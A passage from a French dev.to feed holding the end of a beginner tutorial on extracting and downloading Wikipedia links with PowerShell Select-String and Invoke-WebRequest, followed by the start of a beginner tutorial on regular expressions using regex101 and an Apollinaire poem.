&lt;p&gt;&lt;em&gt;Note sur les regex&lt;/em&gt; : &lt;code&gt;Select-String&lt;/code&gt; peut parfaitement utiliser des regex pour des recherches avancées. Par exemple : &lt;code&gt;Select-String -Path page.html -Pattern '\w'&lt;/code&gt;. Voir l'&lt;a href="https://dev.to/christalib/les-regex-attrapez-les-tous-5alg"&gt;article sur les regex&lt;/a&gt; pour plus d'informations sur ce type d'instructions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Cependant, la liste n'est pas "propre", il est encore difficile de travailler avec car les objets retournés par la fonction &lt;code&gt;Select-String&lt;/code&gt; ne nous permettent pas de travailler dessus directement. Du coup, nous allons préciser notre&lt;br&gt;
recherche et puiser dans les ressources de Powershell.&lt;/p&gt;

&lt;p&gt;Nous devons d'abord récupérer la liste des chaînes de caractères qui commencent par &lt;code&gt;href="/wiki&lt;/code&gt; et qui se terminent par un espace. En regex, ça donne : &lt;code&gt;href=\"/wiki/\S+&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'href=\"/wiki/\S+'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Rappel : &lt;code&gt;\S&lt;/code&gt; tout caractère sauf espace (donc, alphanumérique et spéciaux) et &lt;code&gt;+&lt;/code&gt; cherchera de une à infini nombre d'occurrences.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(...)
/home/chris/Documents/blog/page.html:1250:  &amp;lt;li id="footer-places-about"&amp;gt;&amp;lt;a href="/wiki/Wikipedia:About"
title="Wikipedia:About"&amp;gt;About Wikipedia&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
/home/chris/Documents/blog/page.html:1251:  &amp;lt;li id="footer-places-disclaimer"&amp;gt;&amp;lt;a href="/wiki/Wikipedia:General_disclaimer"
title="Wikipedia:General disclaimer"&amp;gt;Disclaimers&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nous allons maintenant itérer sur chaque objet de notre recherche&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'href=\"/wiki/\S+'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Matches&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(...)
Groups   : {0}
Success  : True
Name     : 0
Captures : {0}
Index    : 38
Length   : 41
Value    : href="/wiki/Wikipedia:General_disclaimer"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Voilà quelque chose d'intéressant ! Ce que nous voyons, ce sont les objets résultat de la recherche. Donc en réitérant dessus, nous pourrons récupérer simplement la valeur de ces recherches avec les champs &lt;code&gt;.Value&lt;/code&gt; pour l'objet &lt;code&gt;.Match&lt;/code&gt; qui appartient à &lt;code&gt;.Matches&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'href=\"/wiki/\S+'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Matches&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résulat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(...)
href="/wiki/Main_Page"
href="/wiki/Main_Page"
href="/wiki/Help:Contents"
href="/wiki/Special:WhatLinksHere/Hedy_Lamarr"
href="/wiki/Wikipedia:About"
href="/wiki/Wikipedia:General_disclaimer"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Il faut encore trier les résultats :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'href=\"/wiki/\S+'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Matches&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Unique&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Maintenant rajouter les liens pour les télécharger :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="nx"&gt;/page.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'href=\"/wiki/\S+'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Matches&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Unique&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'href="/wiki/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://fr.wikipedia.org/wiki/"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;liens.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Avant de tout télécharger, vérifions quel est le format de nos liens :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;liens.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/home/chris/Documents/blog/dirdir&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;liens.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;https://fr.wikipedia.org/wiki//Film&lt;/span&gt;&lt;span class="s2"&gt;"
https://fr.wikipedia.org/wiki/%C3%91uSat"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;https://fr.wikipedia.org/wiki/A_Lady_Without_Passport&lt;/span&gt;&lt;span class="s2"&gt;"
https://fr.wikipedia.org/wiki/Alexis_Granowsky"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;https://fr.wikipedia.org/wiki/Alfred_Abel&lt;/span&gt;&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nous risquons d'avoir un soucis ici, car le &lt;code&gt;"&lt;/code&gt; à la fin des lignes risque de casser le lien. Donc, nettoyons cela rapidement :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ForEach ($ligne in Get-Content liens.txt) {$ligne.replace('"', '') &amp;gt;&amp;gt; liens_propres.txt}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et téléchargeons le tout !&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Invoke-WebRequest&lt;/code&gt; retourne un objet avec les &lt;a href="https://docs.microsoft.com/en-us/dotnet/api/microsoft.powershell.commands.basichtmlwebresponseobject?view=powershellsdk-7.0.0"&gt;champs suivants&lt;/a&gt;. Les champs les plus intéressants sont :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Content (le contenu de la page)&lt;/li&gt;
&lt;li&gt;Links (voir la dernière partie de cet article)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;ForEach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ligne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;liens_propres.txt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ligne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ligne&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"_"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ici, nous nettoyons les liens des &lt;code&gt;/&lt;/code&gt; qui peuvent casser le chemin du fichier (particulièrement sous Linux), c'est pour cela que l'on enchaîne deux méthodes &lt;code&gt;replace&lt;/code&gt; lorsque l'on crée le fichier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Go go powershell
&lt;/h2&gt;

&lt;p&gt;Powershell a encore quelques astuces :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ForEach-Object&lt;/code&gt; peut être remplacé par le caractère &lt;code&gt;%&lt;/code&gt; et donc les boucles
ressemblent à &lt;code&gt;% { bloc }&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GetChild-Item&lt;/code&gt; peut être remplacé par &lt;code&gt;gci&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Set-Location&lt;/code&gt; peut être remplacé par &lt;code&gt;cd&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Invoke-WebRequest&lt;/code&gt; peut télécharger les liens d'une page web &lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.1#example-3--get-links-from-a-web-page"&gt;d'un coup&lt;/a&gt; : &lt;code&gt;(Invoke-WebRequest -Uri "https://aka.ms/pscore6-docs").Links.Href&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Essayez de refaire l'exercice avec ces astuces.&lt;/p&gt;

&lt;p&gt;Quelques liens pour aller plus loin :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/janikvonrotz/awesome-powershell"&gt;Awesome Powershell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/PowerShell/PowerShell"&gt;Github Officiel de Powershell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>beginners</category>
      <category>french</category>
      <category>powershell</category>
    </item>
    <item>
      <title>Les regex, attrapez les tous !</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Wed, 20 Jan 2021 22:39:48 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/les-regex-attrapez-les-tous-5alg</link>
      <guid>https://dev.to/evilcel3ri/les-regex-attrapez-les-tous-5alg</guid>
      <description>&lt;p&gt;Est-ce un Pokémon ? Non, mais le thème de cet article vous permettra de tout attraper.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BbYktk7z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/of389nf6qit899x32e49.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BbYktk7z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/of389nf6qit899x32e49.png" alt="Qui est ce pokémon ?"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vues rapidement dans un article précédent, les expressions régulières sont un langage de programmation qui va vous permettre de filtrer du texte de façon très précise.&lt;/p&gt;

&lt;p&gt;Pour suivre les exercices de cet article, je vous invite à ouvrir une nouvelle fenêtre ou onglet avec &lt;a href="https://regex101.com/"&gt;https://regex101.com/&lt;/a&gt; afin de tester en temps réel les commandes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Regex101.com est un site qui vous permet de tester vos expressions régulières sur un texte de votre choix.&lt;/p&gt;

&lt;p&gt;Pour être sûr que tout fonctionne, assurez vous que vous avez les options "global" et "multiligne" activées en cliquant sur le bout droit de la première fenêtre :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eDt0uxVl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/i6jlyd91po34whvn2ku4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eDt0uxVl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/i6jlyd91po34whvn2ku4.png" alt="Regex101 options configuration 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QNu7o0_O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/an37z8uv0k5hve38zzon.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QNu7o0_O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/an37z8uv0k5hve38zzon.png" alt="Regex101 options configuration 2"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Bases
&lt;/h1&gt;

&lt;p&gt;Allons directement au vif du sujet. Dans cette première partie, nous allons travailler sur ce &lt;a href="https://fr.wikisource.org/wiki/Nuit_rh%C3%A9nane"&gt;texte&lt;/a&gt; de Guillaume Apollinaire (que vous pouvez copier dans la seconde fenêtre sur Regex101) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NUIT RHÉNANE  (1913)


Mon verre est plein d’un vin trembleur comme une flamme
Écoutez la chanson lente d’un batelier
Qui raconte avoir vu sous la lune sept femmes
Tordre leurs cheveux verts et longs jusqu’à leurs pieds

Debout chantez plus haut en dansant une ronde
Que je n’entende plus le chant du batelier
Et mettez près de moi toutes les filles blondes
Au regard immobile aux nattes repliées


Le Rhin le Rhin est ivre où les vignes se mirent
Tout l’or des nuits tombe en tremblant s’y refléter
La voix chante toujours à en râle-mourir
Ces fées aux cheveux verts qui incantent l’été

Mon verre s’est brisé comme un éclat de rire
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Une question de caractères
&lt;/h1&gt;

&lt;p&gt;Les regex comprennent le texte comme un ensemble de caractères. On peut regrouper ces caractères grossièrement en trois groupes :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;les caractères alphabétiques (représentés par &lt;code&gt;a-zA-Z&lt;/code&gt; ou &lt;code&gt;\w&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;les caractères numériques (représentés par &lt;code&gt;0-9&lt;/code&gt; ou &lt;code&gt;\d&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;les caractères spéciaux (&lt;code&gt;!@#$%^&amp;amp;*():""&lt;/code&gt; etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;dans la première fenêtre écrivez mais n'appuyez pas sur Entrée : &lt;code&gt;\w&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uVZ4sEme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/pjnbi3v06er7holk7px7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uVZ4sEme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/pjnbi3v06er7holk7px7.png" alt="Résultat 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vous remarquez que tous les caractères alphabétiques sont surlignés en bleu.  Donc, ils sont couverts par la recherche &lt;code&gt;\w&lt;/code&gt;. Ce n'est pas le cas de certains caractères spéciaux comme "à" ou "ù". Donc, nous &lt;em&gt;filtrons&lt;/em&gt; ici toutes les lettres sans accents.&lt;/p&gt;

&lt;p&gt;Si l'on effectue la recherche &lt;code&gt;a-zA-Z&lt;/code&gt;, on trouvera le même résultat.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;effacez &lt;code&gt;\w&lt;/code&gt; et écrivez maintenant : &lt;code&gt;\d&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--SU6MFrli--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/t3wt9tsckx8biquum11h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SU6MFrli--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/t3wt9tsckx8biquum11h.png" alt="Résultat 2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ici tous les chiffres sont couverts.&lt;/p&gt;

&lt;p&gt;Il est aussi possible de choisir tous les caractères &lt;em&gt;sauf&lt;/em&gt; les caractères alphabétiques avec &lt;code&gt;\W&lt;/code&gt; et pareil pour tous les caractères sauf numériques : &lt;code&gt;\D&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Attention : utiliser une recherche par négation donne des résultats différents. C'est-à-dire que &lt;code&gt;\d&lt;/code&gt; n'est pas équivalent à &lt;code&gt;\W&lt;/code&gt;. &lt;code&gt;\W&lt;/code&gt; donnera comme résultat aussi des caractères comme les espaces, les caractères spéciaux et les retours à la ligne.&lt;/p&gt;

&lt;p&gt;Un peu comme un.e typographe qui prépare une page, vous devez penser le texte comme un ensemble de caractères qui dessinent le texte ; cela comprend les espaces et les retours à la ligne.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Essayez des recherches avec &lt;code&gt;(a-zA-Z)&lt;/code&gt; (tout caractères entre "a" et "z" minuscule ou majuscule) et modifiez les intervalles (exemple : &lt;code&gt;(a-cA-O)&lt;/code&gt;). Quel est le résultat ? Que donne la recherche : &lt;code&gt;(1-3)&lt;/code&gt; ?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; : les caractères &lt;code&gt;()&lt;/code&gt; définissent un groupe de recherche&lt;/p&gt;

&lt;p&gt;Après les caractères alphanumériques &lt;code&gt;(a-zA-Z0-9)&lt;/code&gt;, nous pouvons aussi rechercher des caractères plus spécifiques comme les espaces (insécables et sécables) &lt;code&gt;\s&lt;/code&gt;, les retours à la ligne &lt;code&gt;\n&lt;/code&gt;, les retours chariots &lt;code&gt;\r&lt;/code&gt;. #salutLesTypographes&lt;/p&gt;

&lt;h1&gt;
  
  
  Une question de position
&lt;/h1&gt;

&lt;p&gt;Que ce passe-t-il lorsque vous recherchez un mot particulier, par exemple, tous les mots qui commencent par "C".&lt;/p&gt;

&lt;p&gt;Pour cela, les regex utilisent des caractères de position: &lt;code&gt;^&lt;/code&gt; pour définir le début d'une ligne &lt;code&gt;$&lt;/code&gt; pour définir la fin d'une ligne.&lt;/p&gt;

&lt;p&gt;Donc pour toutes les lignes commencent par un caractère alphabétique : &lt;code&gt;^\w&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1F_uL0s0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/sc1b6ru9may4sv1py0or.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1F_uL0s0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/sc1b6ru9may4sv1py0or.png" alt="Résultat 3"&gt;&lt;/a&gt;&lt;/p&gt;

